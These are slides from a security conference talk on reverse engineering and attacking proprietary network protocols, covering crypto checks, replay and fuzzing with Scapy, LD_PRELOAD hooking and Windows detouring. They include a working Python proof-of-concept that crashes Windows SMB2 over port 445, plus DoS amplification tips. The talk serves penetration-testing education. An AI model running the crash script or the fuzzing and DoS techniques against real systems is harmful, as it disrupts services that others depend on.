

# Proprietary Protocols RCE : Research leads

Jonathan Brossard  
CEO – Toucan System



jonathan@  
toucan-system.com



@endrazine

# Who am I ?

(a bit of self promotion ;)

- Security Research Engineer, CEO @ Toucan System (French Company).
- Known online as endrazine (irc, twitter...)
- Met most of you on irc (ptp/OTW...).
- Currently lives in Sydney (pentester for CBA).
- Speaker at Ruxcon (plus a few others : Defcon/HITB/Blackhat/HES...).
- Organiser of the Hackito Ergo Sum conference (Paris).

# I don't reverse plain text...

I don't SQL inject  
I don't PHP include  
I don't Coldfusion  
I don't .NET  
I don't XSRF



\*sigh\*



# Hardcore self promotion

If you like this talk...

- Come to my RCE talk at Blackhat US 2011
- Come to my training at HackInTheBox Kuala Lumpur 2011 (advanced linux exploitation)
- Submit to my conference HES2012 in Paris (April)
- Follow me on twitter @endrazine
- Contact my sales at [daniel.coutinho@toucan-system.com](mailto:daniel.coutinho@toucan-system.com)

# Agenda

---

 **Introducing the problem...**

 **Effectively attacking UDP**

 **Effectively attacking TCP**

 **Unix clients instrumentation**

 **• Windows clients instrumentation**

# Introducing the problem

We're given a proprietary protocol to audit.

No source code, no specifications, no public implementation.

At best : a client and server.

At worst : a few pcap files (don't laugh, I had to do this for CBA...).

# What we want to do...

- quick RCE : where are the usernames & passwords, checksums (?) , challenge/response...
- finding use of weak cryptography
- replay attacks
- DoS
- timing attacks
- fuzzing (remote pwnage!)

# Methodology



# Methodology

Since we don't have a proper network stack...  
we'll do a static analysis (on pcaps) first.

Given a client and servers, you can have  
pcaps (duh!!)

You probably found this later statement  
morrnic... more on this later...

# Methodology

1) Examine the packets for transport layer.

=> Easy, wireshark is your friend.

# Transport Layer

3 possibilities :

- It's IP based : travels over the internet, vast majority of the cases (TCP/UDP).
- It's a LAN known protocol (doable in much the same way, less interesting...).
- It's an alien protocol, possibly not even known to Wireshark (eg : SS7/SIGTRAN).

# Methodology

2) Examine the application layer...

# Application layer

- look for plain text
- check for usernames/passwords (capture with !  
= usernames/passwords + diffing if you have a working client)
- check for challenge/response (the only stuff that will change given the same inputs. That and salted passwords that is...)
- check for checksums (high entropy bytes given very similar input data)

# Methodology

3) Quick RCE...

# Quick RCE...

IP protocol (UDP/TCP) + no challenge  
/response = problem

(replay attacks, think pass the hash  
under netbios/Windows)

Very common in old (80's) proprietary  
protocols

# Quick RCE...

Trivial crypto checks (you'd be surprised how much this works irl...)

AAAA → deadbeef

AAAAA → deadbeef66

=> byte per byte crypto.

=> At best : Vigenere with constant key.

=> Broken !



# Quick RCE...

Trivial crypto checks (reloaded)

What looks like a known hash algorithm has high chances to be... a known hash algorithm.

Check for common ones on known passwords (SHA1, MD5, 3DES...)

# Quick RCE

Trivial crypto checks (3/4)

Same input password = same hash ?  
(=> salted/non salted?)

If you have a server and face a case  
of password encoding : may worth  
stealing/instrumenting it's password  
decryption routine

# Quick RCE...

## Trivial crypto checks (4/4)

Non salted hash, public algorithm :  
rainbow tables (for about any size, any charset).  
#broken

Salted hash, public algo (MD5, sha256, 3DES): can  
be bruteforced under 1 day with a 400\$ GPU card  
([a-zA-Z0-9}\@^\\`|[{#~], size <9). FPGA is even  
faster. #broken

Proprietary hash : usually reversible #broken by  
design.

# Hardcore RCE

- Block Crypto + key reuse (without shift) + statistical analysis = plain key retrieval (cf Eric Filiol at BHUS 2010).
- Uninitialised kernel memory leaks in network padding.
- Crypto is pretty much never checked properly (Debian SSL for the Win!!)

# What we wanted to do...

- quick RCE : where are the usernames & passwords, checksums (?) , challenge/response...
- finding use of weak cryptography
- replay attacks
- DoS
- timing attacks
- fuzzing (remote pwnage!)

# Now what ?

Now we need an applicative stack...

and it would be even better if it was  
functionnal...

# Two cases :

- 1) We have a working client.  
=> We have a working stack (we  
#win ;)
- 2) We don't have a client, only  
pcaps...

# In this later case...

TCP/UDP (or known LAN protocol) + no crypto + no challenge/response : we'll have a partially working stack =)

TCP/UDP/Known protocol + heavy checksumming and/or challenge/response or crypto : we won't without reversing those mechanisms. We can always try some pre check fuzzing... :-/

Alien protocol or unknown crypto : We'll really need to cheat (more on this later).



Ok, no more talking... time  
for hacking

Effectively attacking  
UDP^H^H^Hanything  
without transport layer  
sessions  
(Cheesy...)

# Learning to Fuzz... a la Laurent Gaffie

```
#!/usr/bin/python
#When SMB2.0 recieve a "&" char in the "Process Id High" SMB header field
#it dies with a PAGE_FAULT_IN_NONPAGED_AREA error
from socket import socket
from time import sleep
```

```
host = "IP_ADDR", 445
buff = (
"\x00\x00\x00\x90" # Begin SMB header: Session message
"\xff\x53\x4d\x42" # Server Component: SMB
"\x72\x00\x00\x00" # Negotiate Protocol
"\x00\x18\x53\xc8" # Operation 0x18 & sub 0xc853
"\x00\x26" # Process ID High: --> :) normal value should be "\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xff"
"\x00\x00\x00\x00\x00\x00\x6d\x00\x02\x50\x43\x20\x4e\x45\x54"
"\x57\x4f\x52\x4b\x20\x50\x52\x4f\x47\x52\x41\x4d\x20\x31"
"\x2e\x30\x00\x02\x4c\x41\x4e\x4d\x41\x4e\x31\x2e\x30\x00"
"\x02\x57\x69\x6e\x64\x6f\x77\x73\x20\x66\x6f\x72\x20\x57"
"\x6f\x72\x6b\x67\x72\x6f\x75\x70\x73\x20\x33\x2e\x31\x61"
"\x00\x02\x4c\x4d\x31\x2e\x32\x58\x30\x30\x32\x00\x02\x4c"
"\x41\x4e\x4d\x41\x4e\x32\x2e\x31\x00\x02\x4e\x54\x20\x4c"
"\x4d\x20\x30\x2e\x31\x32\x00\x02\x53\x4d\x42\x20\x32\x2e"
"\x30\x30\x32\x00"
)
```

```
s = socket()
s.connect(host)
s.send(buff)
s.close()
```

# Tools of the trade :

~~**TCPREPLAY**~~

**Scapy** (by Philippe Biondi).

- Written in python (easy).
- Knows most protocols you'll ever see.
- Slow as shit :((

And that's about it...

# Replaying packets with Scapy

```
a=rdpcap("./sample.pcap")
b=IP(src="10.69.69.69",dst="10.66.66.66")/UDP(dport=1234)/Raw(load=a[0].load)
send(b,loop=1)
```

# Fuzzing with Scapy

```
a=rdpcap("./sample.pcap")
b=IP(src="10.69.69.69",dst="10.66.66.66")/fuzz(UDP(dport=1234))/Raw(load=a[0].load)
send(b,loop=1)
```

DEMO





# Notes

Worth trying fuzzing even if challenge/responses or crypto is present : this is verified at application level (unlike TCP ACK/SEQ for instance).

TcpReplay is a piece of crap unless you're working exclusively at Layer2 (hence attacking the kernel. In particular, it can't replay valid TCP sessions).

# (D)DoS

Mind the amplification factors :

For each (soofed) packet sent, what is the size of the returned packet in case of response ? (cf : Open recursive DNS anonymous DdoS)

ICMP packets generated in return ?

Broadcast, multicast, ?

Effectively attacking TCP  
(here comes the meat)

# The problem of TCP

Triple way handshake at kernel level.

If we don't do this correctly, our data won't even reach the application seating in userland.

Complex protocol (fragmentation, QoS...)

# The wrong way to do it

- 1) Use TcpReplay #crap
- 2) read the data from pcaps and copy paste it into a client (maaan ! How about fragmentation, lost packets/reemissions... ?)

# Solution : Wireplay

Alien++ tool.

Designed by me.

Implemented in 3 days by mighty++  
Abhisek Datta (India).

# Note on Abhisek

- Expert exploit writer.
- Tavis0 killed our Xmas kernel 0day :(

Great!  
I found this 0day  
and now I have  
this reliable  
exploit



New email on  
fulldisclosure  
from @tavis0  
mmm...



He killed it...





# Implementation details

- libpcap
- libnids (from Nergal)
- replay inside a real TCP socket

=> No RAW Sockets, No QoS to deal with, no problems :)

# Remember my earlier morronic statement ?

« Given a client and servers, you can have pcaps ». #Obvious

Now, given pcaps, you can have a working TCP client and server. #Yeah!

# DEMO : replaying SSH packets

# Manual testing/fuzzing

Cross layer verifications are common (eg : the application layer contains information from the transport layer).

Eg : SOAP messages containing IP address of sender.

=> **Room for problems !** The application may assume the application layer is correct... What happens if it changes (all the time ? After correct authentication?)

# Note on timing attacks

About impossible to fix in C (and « at all » actually).

Adding a random delay (cf : ProFTPD doesn't fix the problem).

Easy to perform now that we know how to replay packets =)



You may be laughing but...

An academic guy managed to retrieve  
2048b RSA keys / SSH via timing  
attacks over a LAN.

o0

# What we wanted to do...

- quick RCE : where are the usernames & passwords, checksums (?) , challenge/response...
- finding use of weak cryptography
- replay attacks
- DoS
- timing attacks
- fuzzing (remote pwnage!)



# The fake problem of SSL

- Retrieve the data assuming we know the RSA key is easy : ssldump.
- Adding an SSL layer when replaying is easy too (any SSL capable netcat-like will do).

# Applicative DoS attacks

Connection timeouts (eg : Slowloris under HTTP).

=> Once you reached userland, the timeout is handled at application level.

Sure, Apache/mod\_qos and mod\_security can handle it. How about non http traffic though ?  
Muhahahahah...



# Unix clients instrumentation

# Methodology

- There is basically one technique... **LD\_PRELOAD**
- arbitrary network fuzzing (zuff).
  - out of order packets (non RFC compliant).
  - easy hooking of SSL function, entropy sources (getpid(), open('/dev/urandom'...))...  
=> easy control over complex things !  
(complexity attacks on hashtable algos ? Cf Squid advisory).
  - USE OF PROPRIETARY PROTOCOL STACKS.

# Exemple : hooking send()

```
#include <sys/types.h>  
#include <sys/socket.h>
```

```
ssize_t send(int sockfd, const void  
             *buf, size_t len, int flags);
```

# Hooking send()

```
#include <sys/types.h>
#include <sys/socket.h>
// declare a function ptr to the original function
static ssize_t (*fn_send)(int sockfd, const void *buf, size_t len, int
    flags) = NULL;
// hooked function
ssize_t send(int sockfd, const void *buf, size_t len, int flags){
...
    return fn_send(sockfd,buf,len,flags);
}
// declare constructor to initialise the hooked f ptr:
static void __attribute__((constructor)) init(void){
    fn_send = dlsym(RTLD_NEXT,"send");
}
```

# Hooking send()

```
jonathan@blackbox-pentest:~$ gcc hooking.c -o  
hooking.so -shared -ldl
```

```
jonathan@blackbox-pentest:~$ LD_PRELOAD=./hooking.so  
/usr/bin/sshd 192.168.1.2 -l guest
```



# Windows clients instrumentation (Dessert)

# Methodology

- We'd like to do the very same thing...
- So let's just do the exact same thing ;)

# How does it work ?

- dll injection on the remote process
- hooking of Windows functions  
(« detouring »)
- Fuzzing/instrumentation/logging...

# Detouring under Windows

Normal Windows function prologue:

```
0xCC      ;  
0xCC      ; Padding: either 0x90 or 0xCC  
0xCC      ;  
0xCC      ;  
0xCC      ;  
MOV EDI, EDI ; is actually executed  
PUSH EBP  
MOV EBP, ESP
```

# Detouring under Windows

Detoured Windows function prologue:

JMP FAR **0xdeadbeef** ; branch anywhere

**JMP SHORT -5** ; is actually executed

PUSH EBP

MOV EBP, ESP

# What detours.dll does:

- Freeze all threads (avoid races).
- Patch all your hooked functions like shown before.
- Restart all threads.

DEMO

# Thank you for coming

---

## Questions ?

